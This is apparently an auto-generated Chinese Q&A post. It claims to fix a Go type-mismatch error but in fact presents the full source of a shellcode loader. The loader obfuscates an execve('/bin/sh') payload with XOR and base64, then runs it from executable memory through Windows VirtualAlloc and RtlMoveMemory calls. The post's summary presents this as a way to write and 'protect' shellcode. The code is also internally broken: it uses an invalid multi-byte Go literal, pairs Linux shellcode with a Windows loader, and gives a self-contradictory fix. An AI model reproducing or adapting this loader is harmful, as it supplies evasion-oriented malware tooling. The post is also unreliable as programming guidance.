Go 代码报错:'cannot use payload (variable of type []byte) as type string in argument to Encode' 的解决方法
该错误提示“无法将类型为 []byte 的变量 payload 用于需要字符串类型的参数”。
问题在于 Encode 函数的参数 src 是一个字符串,但在函数内部将其转换为 []byte 类型,导致无法使用 base64.StdEncoding.EncodeToString 函数进行编码。
解决方法:
- 将
Encode函数的参数改为[]byte类型:
func Encode(src []byte) string {
encodedBytes := Crypt(XorCipher, XorKey[0], src)
bdata := base64.StdEncoding.EncodeToString(encodedBytes)
return bdata
}
- 在
main函数中调用Encode函数时,应该将payload变量改为字符串类型:
payload := '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80'
修改后的完整代码:
package main
import (
"encoding/base64"
"syscall"
"time"
"unsafe"
)
const (
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
PAGE_EXECUTE_READWRITE = 0x40
)
var XorKey = [][]byte{
{0x13, 0x54, 077, 0x1A, 0xA1, 0x3F, 0x04, 0x8B},
{0x13, 0x54, 0x77, 0x69, 0x97, 0x3F, 0x33, 0x2B},
{0x31, 0x23, 0x37, 0x19, 0x91, 0x3F, 0x50, 0x9B},
}
type CipherFunc func(key []byte, src []byte) []byte
func XorCipher(key []byte, src []byte) []byte {
var dst []byte
for i := 0; i < len(src); i++ {
byteToEncode := src[i]
for _, k := range key {
byteToEncode ^= k
}
dst = append(dst, byteToEncode)
}
return dst
}
func Crypt(cipher CipherFunc, key []byte, src []byte) []byte {
return cipher(key, src)
}
func Encode(src []byte) string {
encodedBytes := Crypt(XorCipher, XorKey[0], src)
bdata := base64.StdEncoding.EncodeToString(encodedBytes)
return bdata
}
func Decode(src string) []byte {
decodedBytes, _ := base64.StdEncoding.DecodeString(src)
payloadBytes := Crypt(XorCipher, XorKey[0], decodedBytes)
return payloadBytes
}
var (
kernel32 = syscall.NewLazyDLL("kernel32.dll")
ntdll = syscall.NewLazyDLL("ntdll.dll")
VirtualAlloc = kernel32.NewProc("VirtualAlloc")
RtlMoveMemory = ntdll.NewProc("RtlMoveMemory")
)
func exec(charcode []byte) {
addr, _, _ := VirtualAlloc.Call(0, uintptr(len(charcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
time.Sleep(5)
_, _, _ = RtlMoveMemory.Call(addr, (uintptr)(unsafe.Pointer(&charcode[0])), uintptr(len(charcode)))
time.Sleep(5)
syscall.Syscall(addr, 0, 0, 0, 0)
}
func main() {
payload := '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80'
encodedPayload := Encode([]byte(payload))
shellCodeHex := Decode(encodedPayload)
exec(shellCodeHex)
}
总结:
本文通过分析 Go 代码中出现的错误,并给出相应的解决方法,帮助读者理解 Go 语言中类型转换和函数参数传递的相关知识。同时,也展示了如何编写简单的 shellcode 代码,并通过 base64 编码和解码进行保护。
原文地址: https://www.cveoy.top/t/topic/lP5c 著作权归作者所有。请勿转载和采集!